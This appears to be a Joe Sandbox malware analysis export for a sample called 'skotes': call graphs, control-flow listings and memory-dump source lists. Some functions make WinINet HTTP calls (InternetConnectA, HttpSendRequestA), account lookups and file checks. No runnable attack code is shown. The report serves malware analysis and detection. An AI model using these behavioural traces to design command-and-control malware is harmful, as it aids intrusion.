167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37229->37230 37290 164afd 37229->37290 37232 16489f 37230->37232 37231 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37233 164b2f 37231->37233 37234 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37232->37234 37235 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37233->37235 37236 1648b7 37234->37236 37237 164b44 37235->37237 37238 155c10 4 API calls 37236->37238 37239 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37237->37239 37240 1648be 37238->37240 37241 164b56 37239->37241 37242 158580 RtlAllocateHeap 37240->37242 37243 15be30 11 API calls 37241->37243 37244 1648ca 37242->37244 37245 164b62 37243->37245 37247 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37244->37247 37244->37290 37246 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37245->37246 37248 164b77 37246->37248 37249 1648e7 37247->37249 37250 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37248->37250 37251 155c10 4 API calls 37249->37251 37252 164b8f 37250->37252 37256 1648ef 37251->37256 37253 155c10 4 API calls 37252->37253 37254 164b96 37253->37254 37255 158580 RtlAllocateHeap 37254->37255 37257 164ba2 37255->37257 37258 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37256->37258 37259 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37257->37259 37257->37260 37266 164959 Concurrency::details::_TaskCollection::~_TaskCollection 37258->37266 37261 164bbe 37259->37261 37260->37208 37262 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37261->37262 37263 164bd6 37262->37263 37265 155c10 4 API calls 37263->37265 37264 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37267 1649e6 37264->37267 37268 164bdd 37265->37268 37266->37264 37269 155c10 4 API calls 37267->37269 37270 158580 RtlAllocateHeap 37268->37270 37273 1649ee 37269->37273 37271 164be9 37270->37271 37271->37260 37272 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37271->37272 37274 164c06 37272->37274 37276 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37273->37276 37275 155c10 4 API calls 37274->37275 37277 164c0e 37275->37277 37278 164a49 Concurrency::details::_TaskCollection::~_TaskCollection 37276->37278 37279 164f97 37277->37279 37280 164c5a 37277->37280 37278->37290 37359 1598f0 37278->37359 37368 168200 RtlAllocateHeap 37279->37368 37283 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37280->37283 37287 164c78 Concurrency::details::_TaskCollection::~_TaskCollection 37283->37287 37284 164f9c 37369 16c1d9 RtlAllocateHeap std::invalid_argument::invalid_argument Concurrency::details::_TaskCollection::~_TaskCollection 37284->37369 37286 164ad5 __dosmaperr 37286->37290 37364 188ab6 37286->37364 37287->37260 37288 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37287->37288 37291 164d05 37288->37291 37290->37231 37290->37284 37292 155c10 4 API calls 37291->37292 37293 164d0d 37292->37293 37294 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37293->37294 37296 164d68 Concurrency::details::_TaskCollection::~_TaskCollection 37294->37296 37295 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37297 164df7 37295->37297 37296->37260 37296->37295 37298 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37297->37298 37299 164e0c 37298->37299 37300 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37299->37300 37301 164e27 37300->37301 37302 155c10 4 API calls 37301->37302 37303 164e2e 37302->37303 37304 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37303->37304 37305 164e67 37304->37305 37338 164390 37305->37338 37308 15c281 37307->37308 37309 15be82 37307->37309 37310 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37308->37310 37309->37308 37311 15be96 Sleep InternetOpenW InternetConnectA 37309->37311 37317 15c22e __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37310->37317 37312 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37311->37312 37313 15bf18 37312->37313 37314 155c10 4 API calls 37313->37314 37315 15bf23 HttpOpenRequestA 37314->37315 37321 15bf4c Concurrency::details::_TaskCollection::~_TaskCollection 37315->37321 37317->37221 37318 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37319 15bfb4 37318->37319 37320 155c10 4 API calls 37319->37320 37322 15bfbf 37320->37322 37321->37318 37323 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37322->37323 37324 15bfd8 37323->37324 37325 155c10 4 API calls 37324->37325 37326 15bfe3 HttpSendRequestA 37325->37326 37328 15c006 Concurrency::details::_TaskCollection::~_TaskCollection 37326->37328 37329 15c08e InternetReadFile 37328->37329 37330 15c0b5 __InternalCxxFrameHandler 37329->37330 37331 15c13f InternetReadFile 37330->37331 37331->37330 37333 1585d5 Concurrency::details::_TaskCollection::~_TaskCollection 37332->37333 37337 1586a0 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37332->37337 37334 158767 37333->37334 37335 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37333->37335 37333->37337 37370 168200 RtlAllocateHeap 37334->37370 37335->37333 37337->37229 37339 1643d2 37338->37339 37340 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37338->37340 37341 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37339->37341 37340->37339 37342 1643e4 37341->37342 37343 158580 RtlAllocateHeap 37342->37343 37344 1643ed 37343->37344 37345 164646 37344->37345 37358 1643f8 Concurrency::details::_TaskCollection::~_TaskCollection 37344->37358 37346 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37345->37346 37347 164657 37346->37347 37348 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37347->37348 37350 16466c 37348->37350 37349 1680c0 RtlAllocateHeap Concurrency::details::_CancellationTokenState::_RegisterCallback 37349->37358 37351 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37350->37351 37352 16467e 37351->37352 37354 163640 13 API calls 37352->37354 37356 164610 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_TaskCollection::~_TaskCollection 37354->37356 37355 167a00 RtlAllocateHeap Concurrency::details::_CancellationTokenState::_RegisterCallback 37355->37358 37356->37260 37358->37349 37358->37355 37358->37356 37371 169280 37358->37371 37376 163640 37358->37376 37360 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37359->37360 37361 15991e 37360->37361 37362 155c10 4 API calls 37361->37362 37363 159927 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection Concurrency::details::VirtualProcessor::ThrowVirtualProcessorEvent 37362->37363 37363->37286 37365 188ad1 37364->37365 37496 188868 37365->37496 37367 188adb 37367->37290 37369->37260 37372 169294 37371->37372 37373 1692a5 __InternalCxxFrameHandler std::_Rethrow_future_exception 37372->37373 37487 1694e0 RtlAllocateHeap Mailbox Concurrency::details::_CancellationTokenState::_RegisterCallback std::_Rethrow_future_exception Concurrency::details::_TaskCollection::~_TaskCollection 37372->37487 37373->37358 37375 16932b 37375->37358 37377 16367f 37376->37377 37381 163e6f __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37376->37381 37378 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37377->37378 37379 1636b0 37378->37379 37380 164327 37379->37380 37383 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37379->37383 37491 168200 RtlAllocateHeap 37380->37491 37381->37358 37385 1636ff 37383->37385 37384 16432c 37492 168200 RtlAllocateHeap 37384->37492 37385->37380 37387 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37385->37387 37388 163743 37387->37388 37388->37380 37389 163765 37388->37389 37390 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37389->37390 37392 163785 37390->37392 37391 164331 Concurrency::details::_CancellationTokenState::_RegisterCallback 37493 168200 RtlAllocateHeap 37391->37493 37394 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37392->37394 37395 163798 37394->37395 37396 155c10 4 API calls 37395->37396 37399 1637a3 37396->37399 37397 164340 Concurrency::details::_CancellationTokenState::_RegisterCallback 37494 16c199 RtlAllocateHeap std::invalid_argument::invalid_argument Concurrency::details::_TaskCollection::~_TaskCollection 37397->37494 37399->37384 37400 1637ef 37399->37400 37401 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37400->37401 37404 163811 Concurrency::details::_TaskCollection::~_TaskCollection 37401->37404 37403 1598f0 4 API calls 37405 163872 37403->37405 37404->37391 37404->37403 37406 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37405->37406 37411 163c79 Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37405->37411 37407 163889 37406->37407 37408 155c10 4 API calls 37407->37408 37409 163894 37408->37409 37410 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37409->37410 37412 1638dc Concurrency::details::_TaskCollection::~_TaskCollection 37410->37412 37411->37381 37495 16c1d9 RtlAllocateHeap std::invalid_argument::invalid_argument Concurrency::details::_TaskCollection::~_TaskCollection 37411->37495 37412->37391 37413 1639bd 37412->37413 37462 163ab7 __dosmaperr Concurrency::details::_TaskCollection::~_TaskCollection 37412->37462 37414 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37413->37414 37418 1639da Concurrency::details::_TaskCollection::~_TaskCollection 37414->37418 37415 188ab6 3 API calls 37416 163b7a 37415->37416 37416->37397 37417 163b89 37416->37417 37417->37411 37420 163e74 37417->37420 37421 163ba2 37417->37421 37422 163f42 37417->37422 37423 163c8d 37417->37423 37418->37397 37419 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37418->37419 37424 163a96 37419->37424 37425 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37420->37425 37428 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37421->37428 37426 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37422->37426 37427 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37423->37427 37429 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37424->37429 37430 163e9c 37425->37430 37431 163f56 37426->37431 37432 163cb5 37427->37432 37433 163bca 37428->37433 37435 163aa8 37429->37435 37436 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37430->37436 37437 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37431->37437 37438 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37432->37438 37434 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37433->37434 37439 163be8 37434->37439 37488 1549a0 RtlAllocateHeap Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37435->37488 37441 163eba 37436->37441 37442 163f6e 37437->37442 37443 163cd3 37438->37443 37444 155c10 4 API calls 37439->37444 37445 155c10 4 API calls 37441->37445 37446 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37442->37446 37447 155c10 4 API calls 37443->37447 37448 163bef 37444->37448 37449 163ec1 37445->37449 37450 163f86 37446->37450 37451 163cda 37447->37451 37452 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37448->37452 37453 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37449->37453 37454 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37450->37454 37455 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37451->37455 37456 163c07 37452->37456 37457 163ed9 37453->37457 37458 163f98 37454->37458 37459 163cef 37455->37459 37460 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37456->37460 37461 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37457->37461 37490 162f10 13 API calls 4 library calls 37458->37490 37464 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37459->37464 37465 163c1f 37460->37465 37466 163ef1 37461->37466 37462->37397 37462->37415 37467 163d07 37464->37467 37468 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37465->37468 37469 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37466->37469 37470 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37467->37470 37471 163c37 37468->37471 37472 163f09 37469->37472 37473 163d1f 37470->37473 37475 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37471->37475 37476 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37472->37476 37474 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37473->37474 37478 163d37 37474->37478 37479 163c4f 37475->37479 37477 163f21 37476->37477 37480 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37477->37480 37481 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37478->37481 37482 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37479->37482 37483 163c67 37480->37483 37484 163d49 37481->37484 37482->37483 37486 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37483->37486 37489 161ec0 13 API calls 4 library calls 37484->37489 37486->37411 37487->37375 37488->37462 37489->37411 37490->37411 37495->37381 37497 18887a 37496->37497 37498 18690a __cftof 2 API calls 37497->37498 37501 18888f __cftof __dosmaperr 37497->37501 37500 1888bf 37498->37500 37500->37501 37502 186d52 GetPEB GetPEB RtlAllocateHeap __fassign __wsopen_s 37500->37502 37501->37367 37502->37500

                                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                                    Function 0015E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 433 15e530-15e843 call 167a00 call 155c10 call 167a00 call 155c10 call 169280 call 168320 call 168220 call 168320 call 167a00 * 3 call 15be30 call 167a00 * 2 call 155c10 call 158580 471 15e8ce-15e9ec 433->471 472 15ea1a-15ea62 433->472 481 15e9f2-15e9fe 471->481 482 15ea99-15eab2 call 16cff1 471->482 472->471 476 15ea8f-15ea96 call 16d663 472->476 476->482 481->476 484 15ea04-15ea12 481->484 484->472 486 15eab8-15ee79 call 186c6a * 2 call 167a00 call 155c10 call 1683c0 call 168220 GetFileAttributesA call 167a00 call 155c10 call 1683c0 call 168220 GetFileAttributesA 484->486 521 15f273-15f28b 486->521 522 15f5bb-15f66c call 1680c0 486->522 523 15f291-15f29d 521->523 524 15f6a3-15f6b6 521->524 522->521 527 15f699-15f6a0 call 16d663 522->527 526 15f2a3-15f2b1 523->526 523->527 526->522 529 15f6cb-15f962 call 186c6a call 167a00 call 155c10 call 167a00 * 4 call 15e530 call 1680c0 call 167a00 call 1680c0 * 2 526->529 527->524 565 15f964-15f970 529->565 566 15f98c-15f9a5 call 16cff1 529->566 567 15f982-15f989 call 16d663 565->567 568 15f972-15f980 565->568 567->566 568->567 570 15f9ab-15fb15 call 186c6a call 167a00 call 155c10 call 167a00 * 4 call 15e530 568->570 595 15fb17-15fb23 570->595 596 15fb3f-15fb4e 570->596 597 15fb35-15fb3c call 16d663 595->597 598 15fb25-15fb33 595->598 597->596 598->597 599 15fb4f-15fc6f call 186c6a call 167a00 call 159580 call 159230 call 168320 598->599 615 15fc70-15fc75 599->615 615->615 616 15fc77-160860 call 1680c0 call 167a00 * 2 call 15c360 call 186729 call 167a00 call 155c10 call 167a00 * 4 call 15e530 615->616 651 160862-16086e 616->651 652 16088a-1608a5 call 16cff1 616->652 654 160880-160887 call 16d663 651->654 655 160870-16087e 651->655 654->652 655->654 657 1608ce-1612e4 call 186c6a call 167a00 call 155c10 call 167a00 * 4 call 15e530 655->657 678 1612e9-161537 657->678
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
                                                                                                                                                                                                                                                                                    • API String ID: 0-2571795437
                                                                                                                                                                                                                                                                                    • Opcode ID: 6d4835b26ccb66b00f3fb52e01ddd6b69dda8c9cc3be000c7921574d689257ff
                                                                                                                                                                                                                                                                                    • Instruction ID: 34e42e154c6a54b2210c41a700b0c66b13f430ece98d81d5878affa6e361afb7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6d4835b26ccb66b00f3fb52e01ddd6b69dda8c9cc3be000c7921574d689257ff
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0A820270904288DBEF15EF68C9597DE7FB6AB15308F508188E8152B3C2D7759B88CBD2
                                                                                                                                                                                                                                                                                    Function 001565E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1976 1565e0-156639 2050 15663a call 4cb0c0a 1976->2050 2051 15663a call 4cb0c49 1976->2051 2052 15663a call 4cb0b68 1976->2052 2053 15663a call 4cb0c8e 1976->2053 2054 15663a call 4cb0cac 1976->2054 2055 15663a call 4cb0be3 1976->2055 2056 15663a call 4cb0c1a 1976->2056 2057 15663a call 4cb0bda 1976->2057 2058 15663a call 4cb0bba 1976->2058 2059 15663a call 4cb0b5d 1976->2059 2060 15663a call 4cb0c32 1976->2060 2061 15663a call 4cb0c71 1976->2061 2062 15663a call 4cb0b95 1976->2062 1977 15663f-1566b8 LookupAccountNameA call 167a00 call 155c10 1983 1566bc-1566db call 1522c0 1977->1983 1984 1566ba 1977->1984 1987 1566dd-1566ec 1983->1987 1988 15670c-156712 1983->1988 1984->1983 1990 156702-156709 call 16d663 1987->1990 1991 1566ee-1566fc 1987->1991 1989 156715-15671a 1988->1989 1989->1989 1993 15671c-156744 call 167a00 call 155c10 1989->1993 1990->1988 1991->1990 1994 156937 call 186c6a 1991->1994 2004 156746 1993->2004 2005 156748-156769 call 1522c0 1993->2005 1999 15693c call 186c6a 1994->1999 2003 156941-156946 call 186c6a 1999->2003 2004->2005 2010 15676b-15677a 2005->2010 2011 15679a-1567ae 2005->2011 2012 156790-156797 call 16d663 2010->2012 2013 15677c-15678a 2010->2013 2017 1567b4-1567ba 2011->2017 2018 156858-15687c 2011->2018 2012->2011 2013->1999 2013->2012 2019 1567c0-1567ed call 167a00 call 155c10 2017->2019 2020 156880-156885 2018->2020 2036 1567f1-156818 call 1522c0 2019->2036 2037 1567ef 2019->2037 2020->2020 2021 156887-1568ec call 1680c0 * 2 2020->2021 2031 1568ee-1568fd 2021->2031 2032 156919-156936 call 16cff1 2021->2032 2033 15690f-156916 call 16d663 2031->2033 2034 1568ff-15690d 2031->2034 2033->2032 2034->2003 2034->2033 2043 156849-15684c 2036->2043 2044 15681a-156829 2036->2044 2037->2036 2043->2019 2047 156852 2043->2047 2045 15683f-156846 call 16d663 2044->2045 2046 15682b-156839 2044->2046 2045->2043 2046->1994 2046->2045 2047->2018 2050->1977 2051->1977 2052->1977 2053->1977 2054->1977 2055->1977 2056->1977 2057->1977 2058->1977 2059->1977 2060->1977 2061->1977 2062->1977
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00156680
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
